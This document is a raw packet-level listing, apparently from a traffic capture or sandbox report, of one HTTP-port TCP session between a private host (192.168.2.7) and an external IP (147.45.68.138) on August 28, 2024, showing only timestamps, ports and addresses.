Aug 28, 2024 22:55:52.047185898 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.047188997 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.047220945 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.047233105 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.047519922 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.047574043 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.051893950 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.051949024 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.051949978 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.051961899 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.051973104 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.051985025 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.051995039 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.052001953 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.052004099 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.052032948 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.052054882 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.052313089 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.052407026 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.056185961 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.056236982 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.056241035 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.056253910 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.056274891 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.056291103 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.056310892 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.056330919 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.056355953 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.056360006 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.056371927 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.056371927 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.056384087 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.056411982 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.056431055 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.060795069 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.060854912 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.060857058 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.060869932 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.060880899 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.060894012 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.060899019 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.060919046 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.060967922 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.061161041 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.061212063 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.061223030 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.061263084 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.065500975 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.065511942 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.065522909 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.065535069 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.065546989 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.065557957 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.065558910 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.065577030 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.065612078 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.066138029 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.066150904 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.066200018 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.070668936 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.070719004 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.070724010 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.070758104 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.070936918 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.070949078 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.070955038 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.070960999 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.070992947 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.071013927 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.071474075 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.071485996 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.071531057 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.074839115 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.074894905 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.074955940 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.074968100 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.075001955 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.075141907 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.075155973 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.075187922 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.075473070 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.075484991 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.075525999 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.078972101 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.078991890 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.079008102 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.079032898 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.079054117 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.079227924 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.079240084 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.079277992 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.079411030 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.079422951 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.079433918 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.079468012 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.079478979 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.084445953 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.084497929 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.084526062 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.084537983 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.084548950 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.084582090 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.084593058 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.084769964 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.084781885 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.084793091 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.084821939 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.084844112 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.084845066 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.084889889 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.087893009 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.087922096 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.087934017 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.087946892 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.087959051 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.087980032 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.088001966 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.088015079 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.088027000 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.088038921 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.088047981 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.088051081 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.088069916 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.088089943 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.093513012 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.093525887 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.093535900 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.093570948 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.093585014 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.093641043 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.093677998 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.093687057 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.093691111 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.093725920 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.093729019 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.093745947 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.093769073 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.093797922 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.111346006 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.111360073 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.111371040 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.111450911 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.111589909 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.111602068 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.111613035 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.111624002 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.111644030 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.111659050 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.112036943 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.112051964 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.112075090 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.112086058 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.112092972 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.112103939 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.112112999 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.112116098 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.112140894 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.112178087 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.112808943 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.112859011 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.112899065 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.112946033 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.117362976 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.117374897 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.117393017 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.117405891 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.117420912 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.117443085 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.117444038 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.117456913 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.117477894 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.117499113 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.124149084 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.124233961 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.124299049 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.124310017 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.124321938 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.124334097 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.124341011 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.124345064 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.124357939 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.124360085 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.124372959 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.124403954 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.124907970 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.124967098 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.130466938 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.130480051 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.130490065 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.130537033 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.130567074 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.130609035 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.130650043 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.130789995 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.130803108 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.130809069 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.130820990 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.130851984 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.130866051 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.133990049 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.134001017 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.134011030 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.134021997 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.134033918 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.134066105 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.134079933 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.134146929 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.134159088 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.134170055 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.134188890 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.134217978 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.138546944 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.138565063 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.138607979 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.138609886 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.138648987 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.138659954 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.138670921 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.138703108 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.138729095 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.139827013 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.139889956 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.140101910 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.140150070 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.140290022 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.140341043 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.140464067 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.140518904 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.143337965 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.143348932 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.143361092 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.143372059 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.143383980 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.143398046 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.143438101 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.143496037 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.143543959 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.143802881 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.143857956 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.148684978 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.148850918 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.148855925 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.148861885 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.148873091 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.148883104 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.148889065 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.148895025 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.148912907 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.148943901 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.149168968 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.149216890 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.154171944 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.154187918 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.154198885 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.154208899 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.154220104 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.154231071 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.154231071 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.154242992 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.154252052 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.154254913 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.154272079 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.154289961 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.157644987 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.157659054 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.157671928 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.157706022 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.157706022 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.157757044 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.157769918 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.157783031 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.157810926 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.157816887 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.157829046 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.157830954 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.157855034 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.157865047 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.162386894 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.162398100 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.162412882 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.162425041 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.162434101 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.162446976 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.162452936 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.162463903 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.162467003 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.162476063 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.162498951 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.162508011 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.165925980 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.165994883 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.165998936 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.166008949 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.166019917 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.166032076 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.166039944 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.166043043 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.166048050 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.166069031 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.166090012 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.166579008 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.166629076 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.171423912 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.171442986 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.171461105 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.171471119 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.171483040 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.171487093 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.171495914 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.171508074 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.171535969 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.172025919 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.172077894 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.174947023 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.174957037 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.174966097 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.174978971 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.174988985 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.175012112 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.175024986 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.175039053 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.175407887 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.175419092 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.175430059 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.175438881 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.175462008 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.175482035 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.180577993 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.180589914 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.180599928 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.180608988 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.180659056 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.180677891 CEST	49731	80	192.168.2.7	147.45.68.138
